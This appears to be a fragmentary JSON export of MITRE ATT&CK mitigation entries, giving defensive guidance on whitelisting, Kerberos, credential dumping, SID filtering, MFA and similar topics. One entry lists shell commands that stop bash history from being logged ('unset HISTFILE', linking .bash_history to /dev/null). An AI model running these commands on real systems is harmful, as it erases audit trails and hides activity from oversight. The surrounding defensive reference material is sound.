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            "description": "Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports. \n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
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                    "url": "https://attack.mitre.org/mitigations/T1023",
                    "external_id": "T1023"
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                    "source_name": "UCF STIG Symbolic Links",
                    "description": "UCF. (n.d.). Unauthorized accounts must not have the Create symbolic links user right.. Retrieved December 18, 2017.",
                    "url": "https://www.stigviewer.com/stig/windows_server_2008_r2_member_server/2015-06-25/finding/V-26482"
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
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                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
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                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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            "description": "Limit permissions for who can create symbolic links in Windows to appropriate groups such as Administrators and necessary groups for virtualization. This can be done through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create symbolic links. (Citation: UCF STIG Symbolic Links)\n\nIdentify and block unknown, potentially malicious software that may be executed through shortcut modification by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "source_name": "Beechey 2010",
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "source_name": "Microsoft W32Time May 2017",
                    "description": "Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018.",
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            "description": "Identify and block potentially malicious software that may be executed as a time provider by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.\n\nConsider using Group Policy to configure and block subsequent modifications to W32Time parameters. (Citation: Microsoft W32Time May 2017)",
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                    "external_id": "T1208"
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                    "source_name": "AdSecurity Cracking Kerberos Dec 2015",
                    "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.",
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            "name": "Kerberoasting Mitigation",
            "description": "Ensure strong password length (ideally 25+ characters) and complexity for service accounts and that these passwords periodically expire. (Citation: AdSecurity Cracking Kerberos Dec 2015) Also consider using Group Managed Service Accounts or another third party product such as password vaulting. (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nLimit service accounts to minimal required privileges, including membership in privileged groups such as Domain Administrators. (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nEnable AES Kerberos encryption (or another stronger encryption algorithm), rather than RC4, where possible. (Citation: AdSecurity Cracking Kerberos Dec 2015)",
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                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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            "name": "Custom Cryptographic Protocol Mitigation",
            "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Since the custom protocol used may not adhere to typical protocol standards, there may be opportunities to signature the traffic on a network level for detection. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
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            "description": "Antivirus/Antimalware solutions utilize signatures, heuristics, and behavioral analysis to detect, block, and remediate malicious software, including viruses, trojans, ransomware, and spyware. These solutions continuously monitor endpoints and systems for known malicious patterns and suspicious behaviors that indicate compromise. Antivirus/Antimalware software should be deployed across all devices, with automated updates to ensure protection against the latest threats. This mitigation can be implemented through the following measures:\n\nSignature-Based Detection:\n\n- Implementation: Use predefined signatures to identify known malware based on unique patterns such as file hashes, byte sequences, or command-line arguments. This method is effective against known threats.\n- Use Case: When malware like \"Emotet\" is detected, its signature (such as a specific file hash) matches a known database of malicious software, triggering an alert and allowing immediate quarantine of the infected file.\n\nHeuristic-Based Detection:\n\n- Implementation: Deploy heuristic algorithms that analyze behavior and characteristics of files and processes to identify potential malware, even if it doesn\u2019t match a known signature.\n- Use Case: If a program attempts to modify multiple critical system files or initiate suspicious network communications, heuristic analysis may flag it as potentially malicious, even if no specific malware signature is available.\n\nBehavioral Detection (Behavior Prevention):\n\n- Implementation: Use behavioral analysis to detect patterns of abnormal activities, such as unusual system calls, unauthorized file encryption, or attempts to escalate privileges.\n- Use Case: Behavioral analysis can detect ransomware attacks early by identifying behavior like mass file encryption, even before a specific ransomware signature has been identified.\n\nReal-Time Scanning:\n\n- Implementation: Enable real-time scanning to automatically inspect files and network traffic for signs of malware as they are accessed, downloaded, or executed.\n- Use Case: When a user downloads an email attachment, the antivirus solution scans the file in real-time, checking it against both signatures and heuristics to detect any malicious content before it can be opened.\n\nCloud-Assisted Threat Intelligence:\n\n- Implementation: Use cloud-based threat intelligence to ensure the antivirus solution can access the latest malware definitions and real-time threat feeds from a global database of emerging threats.\n- Use Case: Cloud-assisted antivirus solutions quickly identify newly discovered malware by cross-referencing against global threat databases, providing real-time protection against zero-day attacks.\n\n**Tools for Implementation**:\n\n- Endpoint Security Platforms: Use solutions such as EDR for comprehensive antivirus/antimalware protection across all systems.\n- Centralized Management: Implement centralized antivirus management consoles that provide visibility into threat activity, enable policy enforcement, and automate updates.\n- Behavioral Analysis Tools: Leverage solutions with advanced behavioral analysis capabilities to detect malicious activity patterns that don\u2019t rely on known signatures.",
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                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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            "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often. (Citation: University of Birmingham C2)",
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                    "source_name": "Microsoft GPO Bluetooth FEB 2009",
                    "description": "Microsoft. (2009, February 9). Disabling Bluetooth and Infrared Beaming. Retrieved July 26, 2018.",
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                    "description": "Schauland, D. (2009, February 24). Configuring Wireless settings via Group Policy. Retrieved July 26, 2018.",
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            "name": "Exfiltration Over Other Network Medium Mitigation",
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            "description": "Prevent adversaries from gaining access to credentials through Credential Access that can be used to log into remote desktop sessions on systems.\n\nIdentify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to log into remote interactive sessions, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) and Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1096",
                    "external_id": "T1096"
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                {
                    "source_name": "Microsoft ADS Mar 2014",
                    "description": "Marlin, J. (2013, March 24). Alternate Data Streams in NTFS. Retrieved March 21, 2018.",
                    "url": "https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/"
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                {
                    "source_name": "Symantec ADS May 2009",
                    "description": "Pravs. (2009, May 25). What you need to know about alternate data streams in windows? Is your Data secure? Can you restore that?. Retrieved March 21, 2018.",
                    "url": "https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore"
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html"
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
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                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
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                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
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                    "source_name": "InsiderThreat NTFS EA Oct 2017",
                    "description": "Sander, J. (2017, October 12). Attack Step 3: Persistence with NTFS Extended Attributes \u2013 File System Attacks. Retrieved March 21, 2018.",
                    "url": "https://blog.stealthbits.com/attack-step-3-persistence-ntfs-extended-attributes-file-system-attacks"
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            "description": "It may be difficult or inadvisable to block access to EA and ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Symantec ADS May 2009) Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to hide information in EA and ADSs by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nConsider adjusting read and write permissions for NTFS EA, though this should be tested to ensure routine OS operations are not impeded. (Citation: InsiderThreat NTFS EA Oct 2017)",
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            "description": "There are multiple methods of preventing a user's command history from being flushed to their .bash_history file, including use of the following commands:\n<code>set +o history</code> and <code>set -o history</code> to start logging again;\n<code>unset HISTFILE</code> being added to a user's .bash_rc file; and\n<code>ln -s /dev/null ~/.bash_history</code> to write commands to <code>/dev/null</code>instead.",
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            "name": "Spearphishing Link Mitigation",
            "description": "Because this technique involves user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails with malicious links. Determine if certain websites that can be used for spearphishing are necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk. Other mitigations can take place as [User Execution](https://attack.mitre.org/techniques/T1204) occurs.",
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
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                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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            "name": "Compile After Delivery Mitigation",
            "description": "This type of technique cannot be easily mitigated with preventive controls or patched since it is based on the abuse of operating system design features. For example, blocking all file compilation may have unintended side effects, such as preventing legitimate OS frameworks and code development mechanisms from operating properly. Consider removing compilers if not needed, otherwise efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to decrypt, deobfuscate, decode, and compile files or information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "url": "https://attack.mitre.org/mitigations/T1003",
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                {
                    "source_name": "Microsoft Securing Privileged Access",
                    "description": "Plett, C., Poggemeyer, L. (12, October 26). Securing Privileged Access Reference Material. Retrieved April 25, 2017.",
                    "url": "https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material#a-nameesaebmaesae-administrative-forest-design-approach"
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                    "source_name": "Microsoft LSA",
                    "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved February 13, 2015.",
                    "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx"
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html"
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
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                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
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                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
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                {
                    "source_name": "TechNet Credential Guard",
                    "description": "Lich, B. (2016, May 31). Protect derived domain credentials with Credential Guard. Retrieved June 1, 2016.",
                    "url": "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/credential-guard"
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                {
                    "source_name": "GitHub SHB Credential Guard",
                    "description": "NSA IAD. (2017, April 20). Secure Host Baseline - Credential Guard. Retrieved April 25, 2017.",
                    "url": "https://github.com/iadgov/Secure-Host-Baseline/tree/master/Credential%20Guard"
                },
                {
                    "source_name": "AdSecurity DCSync Sept 2015",
                    "description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.",
                    "url": "https://adsecurity.org/?p=1729"
                },
                {
                    "source_name": "Microsoft Replication ACL",
                    "description": "Microsoft. (n.d.). How to grant the \"Replicating Directory Changes\" permission for the Microsoft Metadirectory Services ADMA service account. Retrieved December 4, 2017.",
                    "url": "https://support.microsoft.com/help/303972/how-to-grant-the-replicating-directory-changes-permission-for-the-micr"
                },
                {
                    "source_name": "Microsoft Disable NTLM Nov 2012",
                    "description": "Microsoft. (2012, November 29). Using security policies to restrict NTLM traffic. Retrieved December 4, 2017.",
                    "url": "https://technet.microsoft.com/library/jj865668.aspx"
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            "modified": "2025-04-18T18:00:09.908Z",
            "name": "Credential Dumping Mitigation",
            "description": "### Windows\nMonitor/harden access to LSASS and SAM table with tools that allow process whitelisting. Limit credential overlap across systems to prevent lateral movement opportunities using [Valid Accounts](https://attack.mitre.org/techniques/T1078) if passwords and hashes are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access)\n\nOn Windows 8.1 and Windows Server 2012 R2, enable Protected Process Light for LSA. (Citation: Microsoft LSA)\n\nIdentify and block potentially malicious software that may be used to dump credentials by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nWith Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping. It is not configured by default and has hardware and firmware system requirements. (Citation: TechNet Credential Guard) It also does not protect against all forms of credential dumping. (Citation: GitHub SHB Credential Guard)\n\nManage the access control list for \u201cReplicating Directory Changes\u201d and other permissions associated with domain controller replication. (Citation: AdSecurity DCSync Sept 2015) (Citation: Microsoft Replication ACL)\n\nConsider disabling or restricting NTLM traffic. (Citation: Microsoft Disable NTLM Nov 2012)\n\n### Linux\nScraping the passwords from memory requires root privileges. Follow best practices in restricting access to escalated privileges to avoid hostile programs from accessing such sensitive regions of memory.",
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                    "url": "https://attack.mitre.org/mitigations/T1219",
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            "name": "Remote Access Tools Mitigation",
            "description": "Properly configure firewalls, application firewalls, and proxies to limit outgoing traffic to sites and services used by remote access tools.\n\nNetwork intrusion detection and prevention systems that use network signatures may be able to prevent traffic to these services as well.\n\nUse application whitelisting to mitigate use of and installation of unapproved software.",
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            "name": "Multi-factor Authentication",
            "description": "Multi-Factor Authentication (MFA) enhances security by requiring users to provide at least two forms of verification to prove their identity before granting access. These factors typically include:\n\n- *Something you know*: Passwords, PINs.\n- *Something you have*: Physical tokens, smartphone authenticator apps.\n- *Something you are*: Biometric data such as fingerprints, facial recognition, or retinal scans.\n\nImplementing MFA across all critical systems and services ensures robust protection against account takeover and unauthorized access. This mitigation can be implemented through the following measures:\n\nIdentity and Access Management (IAM):\n\n- Use IAM solutions like Azure Active Directory, Okta, or AWS IAM to enforce MFA policies for all user logins, especially for privileged roles.\n- Enable conditional access policies to enforce MFA for risky sign-ins (e.g., unfamiliar devices, geolocations).\n\nAuthentication Tools and Methods:\n\n- Use authenticator applications such as Google Authenticator, Microsoft Authenticator, or Authy for time-based one-time passwords (TOTP).\n- Deploy hardware-based tokens like YubiKey, RSA SecurID, or smart cards for additional security.\n- Enforce biometric authentication for compatible devices and applications.\n\nSecure Legacy Systems:\n\n- Integrate MFA solutions with older systems using third-party tools like Duo Security or Thales SafeNet.\n- Enable RADIUS/NPS servers to facilitate MFA for VPNs, RDP, and other network logins.\n\nMonitoring and Alerting:\n\n- Use SIEM tools to monitor failed MFA attempts, login anomalies, or brute-force attempts against MFA systems.\n- Implement alerts for suspicious MFA activities, such as repeated failed codes or new device registrations.\n\nTraining and Policy Enforcement:\n\n- Educate employees on the importance of MFA and secure authenticator usage.\n- Enforce policies that require MFA on all critical systems, especially for remote access, privileged accounts, and cloud applications.",
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                    "url": "https://attack.mitre.org/mitigations/M1032",
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                    "url": "https://attack.mitre.org/mitigations/T1176",
                    "external_id": "T1176"
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                {
                    "source_name": "Technospot Chrome Extensions GP",
                    "description": "Mohta, A. (n.d.). Block Chrome Extensions using Google Chrome Group Policy Settings. Retrieved January 10, 2018.",
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            "name": "Browser Extensions Mitigation",
            "description": "Only install browser extensions from trusted sources that can be verified. Ensure extensions that are installed are the intended ones as many malicious extensions will masquerade as legitimate ones.\n\nBrowser extensions for some browsers can be controlled through Group Policy. Set a browser extension white or black list as appropriate for your security policy. (Citation: Technospot Chrome Extensions GP)\n\nChange settings to prevent the browser from installing extensions without sufficient permissions.\n\nClose out all browser sessions when finished using them.",
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            "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of AD design features. For example, mitigating specific AD API calls will likely have unintended side effects, such as preventing DC replication from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.",
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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            "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only  authorized administrators can create new services.\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to create services by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "source_name": "Microsoft Trust Considerations Nov 2014",
                    "description": "Microsoft. (2014, November 19). Security Considerations for Trusts. Retrieved November 30, 2017.",
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                    "source_name": "Microsoft SID Filtering Quarantining Jan 2009",
                    "description": "Microsoft. (n.d.). Configuring SID Filter Quarantining on External Trusts. Retrieved November 30, 2017.",
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                    "source_name": "Microsoft Netdom Trust Sept 2012",
                    "description": "Microsoft. (2012, September 11). Command-Line Reference - Netdom Trust. Retrieved November 30, 2017.",
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                    "source_name": "AdSecurity Kerberos GT Aug 2015",
                    "description": "Metcalf, S. (2015, August 7). Kerberos Golden Tickets are Now More Golden. Retrieved December 1, 2017.",
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            "name": "SID-History Injection Mitigation",
            "description": "Clean up SID-History attributes after legitimate account migration is complete.\n\nConsider applying SID Filtering to interforest trusts, such as forest trusts and external trusts, to exclude SID-History from requests to access domain resources. SID Filtering ensures that any authentication requests over a trust only contain SIDs of security principals from the trusted domain (i.e. preventing the trusted domain from claiming a user has membership in groups outside of the domain).\n\nSID Filtering of forest trusts is enabled by default, but may have been disabled in some cases to allow a child domain to transitively access forest trusts. SID Filtering of external trusts is automatically enabled on all created external trusts using Server 2003 or later domain controllers. (Citation: Microsoft Trust Considerations Nov 2014) (Citation: Microsoft SID Filtering Quarantining Jan 2009) However note that SID Filtering is not automatically applied to legacy trusts or may have been deliberately disabled to allow inter-domain access to resources.\n\nSID Filtering can be applied by: (Citation: Microsoft Netdom Trust Sept 2012)\n\n* Disabling SIDHistory on forest trusts using the netdom tool (<code>netdom trust <TrustingDomainName> /domain:<TrustedDomainName> /EnableSIDHistory:no</code> on the domain controller). \n* Applying SID Filter Quarantining to external trusts using the netdom tool (<code>netdom trust <TrustingDomainName> /domain:<TrustedDomainName> /quarantine:yes</code> on the domain controller)\nApplying SID Filtering to domain trusts within a single forest is not recommended as it is an unsupported configuration and can cause breaking changes. (Citation: Microsoft Netdom Trust Sept 2012) (Citation: AdSecurity Kerberos GT Aug 2015) If a domain within a forest is untrustworthy then it should not be a member of the forest. In this situation it is necessary to first split the trusted and untrusted domains into separate forests where SID Filtering can be applied to an interforest trust.",
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            "description": "Application Isolation and Sandboxing refers to the technique of restricting the execution of code to a controlled and isolated environment (e.g., a virtual environment, container, or sandbox). This method prevents potentially malicious code from affecting the rest of the system or network by limiting access to sensitive resources and critical operations. The goal is to contain threats and minimize their impact. This mitigation can be implemented through the following measures:\n\nBrowser Sandboxing:\n\n- Use Case: Implement browser sandboxing to isolate untrusted web content, preventing malicious web pages or scripts from accessing sensitive system files.\n- Implementation: Use tools like Google Chrome's built-in sandbox or deploy solutions like Bromium to secure user web interactions.\n\nApplication Virtualization:\n\n- Use Case: Deploy critical or high-risk applications in a virtualized environment to ensure any compromise does not affect the host system.\n- Implementation: Use application virtualization platforms to run applications in isolated environments.\n\nEmail Attachment Sandboxing:\n\n- Use Case: Route email attachments to a sandbox environment to detect and block malware before delivering emails to end-users.\n- Implementation: Integrate security solutions with sandbox capabilities to analyze email attachments.\n\nEndpoint Sandboxing:\n\n- Use Case: Run all downloaded files and applications in a restricted environment to monitor their behavior for malicious activity.\n- Implementation: Use endpoint protection tools for sandboxing at the endpoint level.",
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                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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            "name": "Data Transfer Size Limits Mitigation",
            "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
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                    "source_name": "Ready.gov IT DRP",
                    "description": "Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019.",
                    "url": "https://www.ready.gov/business/implementation/IT"
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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            "description": "Consider technical controls to prevent the disabling of services or deletion of files involved in system recovery. \n\nConsider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.\n\nIdentify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)",
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            "description": "Ensure that externally facing Web servers are patched regularly to prevent adversary access through [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) to gain remote code access or through file inclusion weaknesses that may allow adversaries to upload files or scripts that are automatically served as Web pages. \n\nAudit account and group permissions to ensure that accounts used to manage servers do not overlap with accounts and permissions of users in the internal network that could be acquired through Credential Access and used to log into the Web server and plant a Web shell or pivot from the Web server into the internal network. (Citation: US-CERT Alert TA15-314A Web Shells)",
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                    "source_name": "GitHub IAD Secure Host Baseline UAC Filtering",
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            "description": "Monitor systems and domain logs for unusual credential logon activity. Prevent access to [Valid Accounts](https://attack.mitre.org/techniques/T1078). Apply patch KB2871997 to Windows 7 and higher systems to limit the default access of accounts in the local administrator group. \n\nEnable pass the hash mitigations to apply UAC restrictions to local accounts on network logon. The associated Registry key is located <code>HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\LocalAccountTokenFilterPolicy</code> Through GPO: Computer Configuration > [Policies] > Administrative Templates > SCM: Pass the Hash Mitigations: Apply UAC restrictions to local accounts on network logons. (Citation: GitHub IAD Secure Host Baseline UAC Filtering)\n\nLimit credential overlap across systems to prevent the damage of credential compromise and reduce the adversary's ability to perform Lateral Movement between systems. Ensure that built-in and created local administrator accounts have complex, unique passwords. Do not allow a domain user to be in the local administrator group on multiple systems.",
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            "description": "Determine if certain social media sites, personal webmail services, or other service that can be used for spearphishing is necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk.\n\nBecause this technique involves use of legitimate services and user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails with malicious links. To prevent the downloads from executing, application whitelisting can be used. Anti-virus can also automatically quarantine suspicious files.",
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            "modified": "2025-04-18T18:00:13.993Z",
            "name": "Application Deployment Software Mitigation",
            "description": "Grant access to application deployment systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multifactor authentication. Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network. Patch deployment systems regularly to prevent potential remote access through [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068). \n\nIf the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.",
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            "created": "2018-10-17T00:14:20.652Z",
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                    "url": "https://attack.mitre.org/mitigations/T1045",
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
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                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
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                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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            "name": "Software Packing Mitigation",
